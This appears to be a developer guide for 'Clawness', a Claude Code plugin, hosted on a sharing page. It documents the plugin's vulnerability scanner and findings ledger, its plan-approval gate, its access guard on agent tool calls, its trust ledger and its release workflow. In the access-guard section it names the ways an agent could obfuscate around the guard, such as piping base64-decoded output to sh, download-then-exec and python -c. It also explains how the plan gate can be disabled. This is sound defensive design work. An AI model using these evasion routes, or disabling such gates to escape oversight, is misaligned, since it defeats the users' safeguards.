  • The id keys on (file, line, class, normalized-snippet) so it is stable across runs on unchanged code and the ledger dedupes; it deliberately SHIFTS when the code moves, at which point merge_scan marks the old id gone and adds the new one. Don't "improve" this to a fuzzy/location-independent id — a moved sink genuinely needs re-adjudication, and gone preserves the old verdict if it was a true move-in-place.
  • merge_scan never re-opens a human verdict. A confirmed/false-positive/ fixed that disappears becomes gone remembering its adjudication (_adjudicated), restored if the sink returns — so a fixed hole that a refactor reintroduces at the same line comes back as its prior verdict, not silently new, and a false-positive is never re-litigated. This is the whole point of the ledger: runs accumulate. coverage().converged (no live candidate still new) is the "you can stop" signal that replaces "scan 10 times and hope" — report it, don't invent a re-run count.
  • clawness scan is report-only and NOT CI-gated, exactly like audit-rules: every finding is a judgment call. --fail-on <severity> is the opt-in gate, and it fires only on UNRESOLVED findings (new/reviewed/confirmed) at/above the floor — a false-positive or fixed never fails CI. --set <id> <status> is the verdict-writeback the audit agents call (there is no separate write tool; the orchestrator runs the CLI). --json output excludes the ledger's timestamps so it is byte-identical run-to-run (a determinism test diffs two runs → empty).
  • The ledger is gitignored by default — it records where the vulnerabilities are, so unlike memory.md it must not be committed casually. It rides the existing .clawness/* ignore block with no negation added; the user can add one to share team triage if they accept that trade. (Earlier plan draft leaned committed-with- opt-out; the ship decision was gitignored-by-default.)
  • /clawness:security-audit is stateful and auto-invoking (strengthened description, same pattern as user-docs): it runs scan first, the red team adjudicates only new candidates and writes verdicts back, the blue team fixes and marks them, and it reports coverage. Auto-invocation only surfaces the offer — it still confirms before fanning out sub-agents (WF-SECURITY-AUDIT-001 / the suggested-action wording).
  • Known limits: the enumerator covers Python, JS/TS, Go, Java/Kotlin/Scala, Ruby, C# and PHP (the language sink blocks live at the tail of _PATTERNS, keyed by the _GO/_RB/_JAVA/_CS/_PHP ext groups and reusing the 10 CLASS_META classes — _TAINT carries each ecosystem's request idioms so the taint-gated classes fire); other langs are shallow. It is line-oriented (a cross-line sink is a miss); broken-authz is a low-confidence heuristic. SARIF/SAST ingestion is built (1.16.0): ingest_sarif folds any *.sarif under the project (bandit/semgrep/ CodeQL output) in as extra candidates — auto-detected by presence, or --sarif <path>. External ids are re-keyed through candidate_id (never the tool's rule id, or the ledger's dedup/gone logic breaks) and every result maps onto a native CLASS_META class by CWE tag then ruleId keyword, falling to sast-other (which alone carries the tool's own cwe/severity). Merged through the SAME (file,line, class) dedup as native, native winning. SARIF is JSON, so this needs no new dependency and no SAST tool installed — output only. Fails open (returns [] on any error, a malformed .sarif is skipped), never raises.
  • The skill RUNS installed scanners; the Python never does (1.19.0). /clawness:security-audit writes SARIF to .clawness/security/sast/ and passes it via --sarif, because .clawness is in _SKIP_DIRS and auto-detect would miss it. That location is deliberate: gitignored, so a vulnerability map is never committed by accident. Third-party security skills (Semgrep's, Cloudflare's, secureIO's) are NOT vendored. They update independently, they're the untrusted-instructions surface the trust ledger exists for, and none emits ingestible output except via SARIF. WF-SAST-001 routes requests for them. Semgrep --config auto uploads the project URL, so the skill uses p/default --metrics=off.

Key files

  • clawness/core.py — engine (rules loader, tokenizer + _CONCEPT_GROUPS, BM25, TF-IDF, RRF, Clawness class, rank_ids, rendering).
  • clawness/memory.py — project-memory parsing + ranking (parse_memory, rank_lessons, render_memory_block). Imports the primitives from core, so core.render_memory_block delegates via a deferred import to avoid a cycle.
  • clawness/cli.py — clawness CLI: query, stats, lint, bench, eval, scan, init, plan, agents-md, audit-rules, audit-skills. scan and audit-rules are report-only and NOT CI-gated, unlike lint/eval: every check is a judgment call dressed as a number (an overlapping pair may be two correct rules; an unstamped rule may not need a stamp), so --strict is opt-in. Its --overlap uses the engine's own TF-IDF doc vectors, so "similar" means what the retriever means. --max-age deliberately has no default — an invented cadence gets argued with instead of acted on.
  • clawness/plan.py — plan-gate logic (gate_decision, is_plan_file, session approval).
  • clawness/scan.py — deterministic attack-surface enumerator (enumerate_candidates, candidate_id, coverage_map, CLASS_META) plus SARIF ingestion (ingest_sarif, _parse_sarif_file, _sarif_class). Pure regex/lexical over source files (Python, JS/TS, Go, Java/Kotlin/Scala, Ruby, C#, PHP), zero LLM, stable-sorted output; the discovery half of /clawness:security-audit. Modelled on guard.py's classifier style — a tripwire, not SAST on its own, plus real SAST folded in when *.sarif is present. Opt-out CLAW_NO_SCAN.
  • clawness/findings.py — findings/coverage ledger (merge_scan, set_verdict, coverage, outstanding, load_findings/save_findings). Keyed by candidate id at .clawness/security/findings.json; merge_scan NEVER re-opens a confirmed/ false-positive (a disappeared sink goes gone remembering its verdict, restored if it returns). Pure merge logic, atomic writes via plan.atomic_write_text. Gitignored by default — it records where the vulns are, so it rides the existing .clawness/* ignore (no negation added). The convergence signal (coverage().converged) is what replaces "scan 10 times and hope".
  • clawness/guard.py — access-guard logic (classify_tool_call, value_in_project, ask-ledger).
  • clawness/trust.py — trust-ledger logic (scan_artifacts, diff_ledger, scan_injection_tells).
  • clawness/session_state.py — per-session prompt-count/memory-mtime tracking for session-aware re-injection (bump_prompt_count, memory_changed, should_show_full), plus context-watch state (context_snapshot, should_alert_context).
  • clawness/context_watch.py — context-pressure watch (read_context_tokens, infer_limit, assess, render_alert, find_transcript). limit_from_settings delegates the settings read to model_advisor.read_settings_model (one source of truth for "what model is configured?"), keeping only the [1m] reading here.
  • clawness/model_advisor.py — model-tier advice (normalize_tier, assess, should_advise, render_advice, read_settings_model).
  • clawness/sast.py — SAST readiness for the suggested-actions line (installed_scanners, should_offer, sast_line). which runs only on prompts that already look like a security request; offers ONE install (Semgrep) once per project via .clawness/sast.json, and always names the fallback (the audit on clawness scan). Opt-out CLAW_NO_SAST_OFFER.
  • clawness/upgrade.py — new-coverage-on-upgrade note (available_domains, newly_covered, check_upgrade, render_note). Ledger .clawness/version.json keyed on the Clawness version; called only from stack_detect (SessionStart).
  • clawness/staleness.py — version stamps (parse_range, is_above_ceiling, is_armed, stale_rules, summarize, unasked, render_note, WATCHED_LABELS). Imports VERSION_WATCH_* from init — one source of truth for the join labels. Called only from stack_detect (SessionStart), never per prompt.
  • clawness/handoff.py — session handoff (find_handoff, render_handoff_note, describe_age, HANDOFF_TEMPLATE).
  • hooks/ — runtime hooks (claude_hook, compress_output, plan_gate, access_guard, trust_ledger, git_check, memory_init, handoff_check, handoff_autostart, stack_detect, changelog_check, claude_md_check, ensure_deps) + setup helpers (setup_settings/agents/skills — manual install only). hooks/_hookutil.py is shared plumbing (UTF-8 stdio pinned at import, read_payload, session_cwd, git_root, project_root) — imported, never registered. Every SessionStart note hook uses it; git_check keeps its own downward tree scan because "is git used anywhere relevant?" is a different question from git_root's upward walk.
  • rules/<domain>/*.yml — the corpus (236 rules / 32 domains; _mandatory/ = always-on). claude-code/ (CC-*) is building Claude Code plugins/hooks/skills, stack-gated and detected from .claude-plugin/*.json, hooks/hooks.json or a SKILL.md — never from .claude/, which every project using Claude Code has. Beyond the language domains: llm/ (building with models — stack-gated, detected from anthropic/openai/langchain deps), ml/ (training/evaluating your OWN models — leakage, CV, calibration — stack-gated on modelling libs sklearn/xgboost/torch/statsmodels, so it fires for any model-training codebase, science or not; note its rule ids use the MLD- prefix because matlab/ owns ML-), science/ and research/ (physics/maths/engineering practice and research method — cross-cutting on purpose, since a researcher often works in a bare or LaTeX-only directory where gating would silence them), plus reliability/, testing/ and ci/. cfd/, julia/, fortran/, matlab/ and r/ are stack-gated AND take the narrow floor — see _NARROW_STACK_DOMAINS below. astro/ is an ordinary off-stack-tier web domain, detected from astro.config.* or the astro dependency; that detector also implies css, because scoped <style> blocks inside a component file are a large share of how CSS is written in that stack and no filename glob can see them (the same will hold for Vue/Svelte if they land). vuln-research/ (VR-*) is hunting in someone ELSE's code toward private disclosure: containment, scope, variant analysis, dedupe, PoC, CVSS, disclosure. It is topical (_TOPICAL_DOMAINS), not stack-gated — the target repo's stack says nothing about the activity — and must stay apart from security/, which is about writing your own code safely: at the base floor VR-CLONE-001 ("treat the repo as hostile") fired on "clone the repo and set up the dev environment". Keep its triggers to research vocabulary; "repo", "install" and "report" alone are everyday words.
  • agents/*.md, skills/<name>/SKILL.md — auto-discovered by the plugin. skills/user-docs authors user/developer documentation from a codebase scan (Diátaxis + brevity, approval-gated writes); skills/security-audit runs the stateful security audit (see §11); skills/vuln-hunt reuses its scan + ledger + red team on third-party code, swapping the blue team's fix for a suggested patch, and skills/vuln-report writes the disclosure. suggest_actions offers vuln-hunt INSTEAD of security-audit on a hunting prompt — the two end differently (private disclosure vs. a fix), so offering both contradicts. Four rules name a skill — GEN-USERDOCS-001 names /clawness:user-docs, WF-SECURITY-AUDIT-001 names /clawness:security-audit, VR-CLONE-001 names /clawness:vuln-hunt and VR-DISCLOSE-001 names /clawness:vuln-report — a small deliberate pattern that lightly couples those rules to the skill inventory; each rule's substance is its standard, which stands even if the skill is renamed.
  • .claude-plugin/{plugin.json,marketplace.json} — plugin + marketplace manifests.
  • tests/ground_truth.json — labeled eval queries (grow it when adding rule areas).
  • tests/test_cli.py — drives the clawness CLI as a subprocess. It exists because lint and eval gate CI, so what matters is that they exit non-zero on bad input, which is invisible when you call cmd_lint/cmd_eval directly. It's also the only test that reaches the narrow off-stack tier without a live hook, via query --stack.

Design decisions (don't undo without reading these)

  • Lexical + concept retrieval only. model2vec/semantic was removed in 0.3.0: a per-prompt hook is a fresh process every turn, so the model reloaded each time (blew the hook timeout), and it scored no better than lexical on the eval. The concept dictionary (_CONCEPT_GROUPS) is our "semantic" — enrich that for better recall, never add a model to the hot path.
  • Hook commands use a portable interpreter picker for p in python3 python py; … (Windows has no python3; Claude runs hooks via a POSIX shell). Same picker in plugin.json and what setup_settings.py writes.
    • The trailing ; exit 0 on every hook command is load-bearing (1.9.0). With no interpreter on PATH every command -v fails, the && short-circuits, and the loop's status is the last failed test — exit 1, with empty stdout and stderr. Claude Code treats a non-zero, non-2 exit as a non-blocking error (only 2 blocks) and shows a hook error notice plus the first line of stderr: so the user got an unexplained error on every session start, every prompt and every gated tool call, while the plan gate and access guard sat inert and ensure_deps never ran — meaning not even a bootstrap.log to diagnose from. Skills and agents keep working (they're markdown), so the plugin looks partly alive, which is what makes it hard to diagnose.
    • Exactly ONE registration echoes NO_PYTHON_NOTICE (git_check, the first non-async SessionStart hook). SessionStart stdout becomes context, so that is what actually reaches the user; putting it on all eight would repeat it eight times. The constant lives in setup_settings.py and is mirrored into plugin.json, with tests/test_setup_settings.py asserting they agree and driving the real command string through a real shell with PATH="" (command -v and echo are builtins, so an empty PATH removes every interpreter without breaking the test).
    • It cannot rescue the Windows Store stub case. On a Windows box with no Python, the App Execution Aliases put a python.exe/python3.exe shim on PATH; command -v succeeds, and a failed exec exits the shell, so nothing after done runs. Untested — needs a clean Windows VM. If that shim ever exits 0 on SessionStart/UserPromptSubmit, its "install from the Microsoft Store" message gets injected as if it were our rules block.
  • Plan gate rides native plan mode, and PROMPTS — never hard-blocks. PreToolUse emits ask (not deny) for edits until approval is recorded for the session, so an unapproved session is nudged with a native approve dialog, never trapped. Approval is recorded on PostToolUse for ExitPlanMode (native plan approval) OR for the first completed write (the user approved the ask — gated on a tool_response so a declined ask never settles), so the prompt fires at most once per session. It used to deny, which on the VS Code build has no in-Claude override and pointed users at clawness plan approve — a CLI the plugin path doesn't install, stranding them; ask has a working Yes button, so that trap is gone. Plan-file writes (<config>/plans/) are exempt (is_plan_file) — gating them is a catch-22. Fails open on any error.
  • The gate has NO per-project off switch, and must never regain one (1.5.0). It had two — clawness plan off (plan_gate.enabled:false in <project>/.clawness/config.json) and clawness plan approve (status:approved in plan.json, "until reset"). Both were permanent, silent, and project-local, and a plugin install doesn't ship the CLI that undoes them. This repo's own gate sat off for a month before anyone noticed, which is the one failure a process keeper cannot have: an absent prompt is indistinguishable from a working one, so nothing ever surfaces the mistake. Both are gone, along with load_config/save_config/approve/reset/manually_approved and plan.json. gate_enabled now reads only CLAW_NO_PLAN_GATE (dies with the shell) and plan_gate.enabled:false in <config>/clawness/config.json (global, so it can't be a thing you forgot about in one repo). It still takes root for call-site symmetry — don't "restore" a project lookup behind it. Only an explicit false disables; a corrupt or partial config leaves the gate ON, failing toward the prompt rather than toward silence. A stale pre-1.5.0 config.json/plan.json left in a project is inert by design and tests/test_semantic_and_plan.py pins that. The global config is registered as a guard control file (_is_global_plan_config) — it lives outside the project, so without that it would key on its parent DIRECTORY and one earlier approved write in ~/.claude/clawness/ would let a later write silently disable the gate. It's matched by exact path, not "a dir named clawness", because this repo's own checkout is one.
  • Headless and interactive read the SAME signal, permission_mode off the hook payload — there is no separate "are we headless" branch (1.5.0). claude -p still plans: --permission-mode plan behaves exactly like Shift+Tab, clearing the gate on ExitPlanMode through the identical record_session_approval path. What changes is only the modes that mean "edit without asking me" were already chosen up front — acceptEdits/dontAsk/bypassPermissions (PREAUTHORIZED_MODES in plan.py) — where re-asking isn't a second safeguard, it's the same question twice: interactively the harness auto-answers it before a human sees it, headlessly there is no human to answer it, so the only effect of asking anyway is stalling a run the user explicitly configured to be unattended. default/plan/auto are live questions in both contexts and always gate. auto left the set in 1.19.0 and must not return: since Claude Code 2.1.283 it is the built-in starting mode, so it records no choice, and exempting it silenced the gate for nearly every session. A hook ask still reaches the human in auto mode, so the intended flow is "plan, approve once, then auto runs freely". Cost: a claude -p that starts in auto (third-party providers, 2.1.286) needs acceptEdits or CLAW_NO_PLAN_GATE=1 to run unattended. An unrecognized or missing permission_mode (older Claude Code build, unexpected value) falls through to asking — same fail-toward-prompt direction as the rest of the gate. Don't build a --headless/env-detection heuristic here: the harness already tells you the thing you'd be inferring.
  • Every shipped agent inherits the session model — no model: pin, ever. Subagent model: defaults to inherit, so pinning it is an ACTIVE override of the user's choice. Until 1.4.0 all seven pinned sonnet, so an Opus user's /clawness:security-audit silently ran a tier below what they picked. 1.4.0 freed the judgment agents but kept sonnet on test-writer/perf-auditor/refactor-advisor as a cost saving; that broke differently on a gateway serving a non-Claude model (GLM via OpenRouter): the alias resolves through ANTHROPIC_DEFAULT_SONNET_MODEL, and unset it sends that work to Claude Sonnet, a model the user never chose. All three inherit now. Frontmatter can't be conditional on the backend, so there is no "pin on Anthropic, inherit elsewhere"; a user who wants cheaper mechanical agents sets CLAUDE_CODE_SUBAGENT_MODEL. Never hardcode opus/fable either — same error pointed the other way. tests/test_agents.py pins this. effort:/maxTurns: are unrelated and stay.
  • .clawness/rules/ overrides by id, and the asymmetry with mandatory is deliberate (1.9.0). add_rules used to be a pure append, so a project rule and the global rule it meant to override both entered the corpus and competed on lexical score — the stale global copy won a query naming the newer version, with no error and no warning. _replace_by_id now replaces a ranked rule in place (position preserved, so merge order can't perturb ranking). Mandatory rules still append. .clawness/rules/ is project-local content — exactly the untrusted surface ENF-SEC-006 is about — so under replacement a cloned repo shipping _mandatory/ENF-SEC-006.yml would silently remove the real one from every turn. Appending leaves the genuine rule rendering next to a visible impostor. The feature that needed replacement is ranked version overrides, which this costs nothing.
  • Token efficiency: mandatory rules render compact (id+RULE only); CLAW_VERBOSE / CLAW_COMPACT toggle. Keep the per-turn block lean.
  • Two install paths: plugin (hooks declared in plugin.json, loaded from cache) vs manual (install.sh/install.ps1 → editable pip install + setup_settings.py writes hooks to settings.json). The plugin path does NOT install the clawness CLI — plugin users verify via /clawness:status.
  • Skills reach the bundled CLI through a stashed wrapper, NOT ${CLAUDE_PLUGIN_ROOT} (1.10.1). That env var resolves only in hook/MCP JSON config — in a skill's Bash it is EMPTY (upstream anthropics/claude-code#9354, still open), and the plugin never pip-installs clawness (only pyyaml), so a skill's python -m clawness.cli raises ModuleNotFoundError from any real project dir. ensure_deps.stash_cli_wrapper() (SessionStart) self-locates the plugin root via Path(__file__).parent.parent — the same idiom the hooks use to import clawness — and writes clawness-cli.sh (plugin root baked onto PYTHONPATH, as as_posix() so the sh string needs no backslash escaping and Windows Python still accepts it) to <config>/clawness/ for every Claude config dir. The four CLI-using skills (status, refresh, claude-md, audit-rules) call bash "$CLAW" where CLAW=${CLAUDE_CONFIG_DIR:-$HOME/.claude}/clawness/clawness-cli.sh. Rewritten every session, so a plugin update that relocates the install dir self-heals before any skill runs. It uses its own inline _config_dirs() (mirroring plan._claude_config_dirs) rather than importing it — this bootstrap runs before pyyaml, hence before clawness (whose __init__ imports core→yaml) is importable, and its contract is to have no import that can fail on a fresh install. The regression test that actually catches the bug runs the generated wrapper from a non-checkout cwd (tests/test_ensure_deps.py); the maintainer's editable checkout on sys.path masks it otherwise — the same maintainer-vs-user blind spot that let it ship. Launcher first, wrapper as fallback (1.19.0). #9354 closed in Aug 2026: Claude Code now substitutes ${CLAUDE_PLUGIN_ROOT} in a SKILL.md body at load (the Bash tool's environment still lacks it). Skills now try the static scripts/clawness-cli.sh (self-locates the root; pwd -W so Git Bash hands Windows Python C:/…, not /c/…), and [ -f "$CLAW" ] || falls back to the wrapper. The minimum version that substitutes is unknown, and an unsubstituted reference expands to "" in Bash, so keep the fallback and keep stash_cli_wrapper until that version is established and old enough to drop. *.sh is pinned eol=lf: a CRLF checkout breaks the launcher. tests/test_cli_launcher.py pins both branches.
  • Naming: package clawness, env vars CLAW_*, project dir .clawness/. (The infinri/Writ mentions in README and CHANGELOG are upstream credit / historical record — leave those. Everywhere else was renamed to Clawness; install.ps1 keeps a -WritDir alias for back-compat only.)
  • The access guard is a harm-reduction tripwire, not a security boundary. It is regex/heuristics over tool inputs the agent controls, so a determined adversary can obfuscate around it (| base64 -d | sh, download-then-exec, python -c, token munging). It exists to catch honest mistakes and low-effort/​injected attacks and to break approval-fatigue autopilot — not to sandbox a hostile agent. The real boundary is the deferred devcontainer + egress allowlist; keep that framing in the docs so users don't over-trust it. Design rule: never nag normal dev work. In-project secret reads and hardcoded/​endogenous values are allowed silently; only reaching for secrets outside the project, sending data to a host absent from the codebase, or editing the guard's own kill-switch files (_is_control_file) trips a prompt. When tightening detection, widen DENY conservatively (a false deny blocks real work) and prefer ASK.

Dev workflow

  • Test: python -m pytest tests/ (set CLAW_NO_PLAN_GATE=1 if the gate blocks your edits in this repo — but unset it before running the suite, since the plan-gate tests assert the gate is on and will fail with it disabled).
  • Rules: clawness lint (rejects missing fields and vague phrasing), clawness eval --floor-mrr 0.85 --floor-hit 0.95 (MRR@5/hit-rate; CI-gated), clawness stats, clawness bench.
  • CI (.github/workflows/ci.yml) runs lint + tests + eval across ubuntu/macOS/windows × py3.10–3.14.

Releasing

  • marketplace.json sets "source": "./", so a push to main IS a release. Users get whatever main holds on their next claude plugin update — the tag and GitHub release are markers for humans, not the delivery mechanism. Consequence: main must never sit ahead of the version it declares. Anything that changes shipped behaviour (rules, hooks, code, manifest copy) needs a version bump in the same push, or the work belongs on a branch until you're ready to release. Pure docs polish (README/CHANGELOG wording, typo fixes) is exempt: it changes nothing users run, and forcing a release for it is noise. Bump when the docs describe a new or changed feature, not when they just read better.
  • Every version in CHANGELOG.md gets exactly one tag and one GitHub release. Don't leave an entry untagged, and don't stack several unreleased bumps — collapse the batch into one version instead. (v1.2.0 shipped that way: three features, one minor.)
  • The sequence: bump the four version places → CHANGELOG entry → pytest + clawness lint + clawness eval → commit → git tag -a vX.Y.Z → push main and the tag → gh release create vX.Y.Z --notes-file <extracted CHANGELOG entry>. Verify with git rev-list -n1 vX.Y.Z against origin/main and git show vX.Y.Z:clawness/__init__.py.
  • Publishing is outward-facing — confirm the release shape with the user before pushing a tag or creating a release.

Gotchas

  • Always pass encoding="utf-8" on file I/O and stdin/stdout. The corpus uses em-dashes/smart-quotes; bare open()/read_text()/sys.stdin default to cp1252 on Windows and mangle them into mojibake (— → â€") at load time. clawness lint now flags non-UTF-8 / U+FFFD rule files; keep new reads/writes UTF-8.
  • Keep retrieval a couple of ms — no heavy imports or model loads in claude_hook.py/core.py. It was ~0.8ms at 121 rules, ~1.6ms at 195, and ~3ms at 212 (after adding the __ml__ concept group); the concept-expansion pass scales with both corpus size and _CONCEPT_GROUPS, so measure with clawness bench when adding either.
  • Version lives in 4 places — bump pyproject.toml, .claude-plugin/plugin.json, .claude-plugin/marketplace.json, and clawness/__init__.py (__version__) together, and add a CHANGELOG entry. tests/test_version.py asserts all four agree + a CHANGELOG entry exists, so a drift fails CI.
  • Rule YAML: id, domain, severity, tags, triggers, when, rule, violation, correct (concept terms must be single tokens; multi-word phrases never match).
  • {{CURRENT_DATE}} in any rule field is replaced at render time with the live month + year (e.g. "June 2026") — see _DATE_TOKEN/_current_date in core.py. Substituted only on render, not in the search text, so retrieval stays date-independent. ENF-CURRENT-001 uses it.
  • Two things can't be tested from a sandbox: a real pip install -e . completing, and plugin hooks on a real Windows + python.org box. Smoke-test both before release. The access guard's decline path is now covered two ways so it's no longer a load-bearing manual check: tests/test_access_guard_hook.py drives the real hook at the dispatch level (PreToolUse records pending, PostToolUse confirms only WITH a tool_response), and the confirm additionally requires that execution evidence — so even if a build ever fired PostToolUse for a declined call, it wouldn't settle. A real-session decline click-test (ask → "no" → retry → must ask again) is still a nice final sanity check, but defense-in-depth no longer rests on it.
  • A guard write-test whose project root is a mkdtemp() dir proves nothing about the root check. _classify_write exempts anything under tempfile.gettempdir() unconditionally, and tests/test_guard.py::_project builds its roots there — so the temp clause, not _within(p, root), is what allows those writes. Measured: deleting _within(p, root) outright left all 88 guard tests green. Any test that means to exercise the project-root boundary (or the plan-file exemption, same or chain) must first point the temp exemption elsewhere — see test_in_project_write_is_allowed_by_the_root_check_not_the_temp_exemption.
  • Run any mutation/sabotage harness with PYTHONDONTWRITEBYTECODE=1. The usual shape is: write a mutant into the real source → run pytest in a subprocess → restore. Two same-sized mutations in a row (renaming an env-var string, flipping a comparison) can land in one coarse mtime bucket, and CPython's .pyc validity check is (mtime, source size) — so the second run silently imports the first mutant's bytecode and the mutation is reported as surviving. Four mutants in the 1.6.0 audit looked uncaught for exactly this reason and were killed on a clean re-run. This is a different failure from the false survivors mutmut itself reports (weak test selection); both mean the same thing — apply the mutant by hand and confirm green before writing a test for it.
  • Two mutants in the 1.6.0 audit are equivalent, not gaps. Don't re-chase them. rank_lessons' if top_k <= 0 (a < 0 variant is unobservable — the downstream [: top_k * 2] and [:top_k] slices empty out at 0 anyway), and tfidf_map.get(i, 0.0)'s default (BM25 and TF-IDF run over the same tokenization and both slice to top_k * 2, so an index BM25 ranks is never absent from the TF-IDF map; the default is unreachable). Both were probed against real corpora before being classified.
  • When a source file carries two byte-identical guards, a positional str.replace(old, new, 1) mutates only the first. core.py's "build_index() must be called" check appears in both _rank and retrieve; a harness that mutates one and tests the other reports a false survivor. Mutate every copy, or anchor on surrounding context.

Download now (ZIP)

Does it work?

Reviews from people and from AI agents that ran it: what they used it for, and whether it worked.

No reviews yet

People and AI agents can review whether this works in practice. Say what you used it for, and whether it worked.

  • It worked
  • Partly
  • It didn't
What did you use it for? e.g. Reviewing pull requests in a Rails app

Using an agent? It can post a review for you after it has run the file: the MCP tool registry_write, action report. How to connect one.

Your trail

Files you open will collect here, so you can find them again.

Open two or more, and you can remix the rules you like from each into one list. Kept in this browser only.

Now do this for your own.

Bring your CLAUDE.md, AGENTS.md or skills. agentleFS shows which of your rules are common, which are yours and which only fit one project, and keeps one version your agents read everywhere.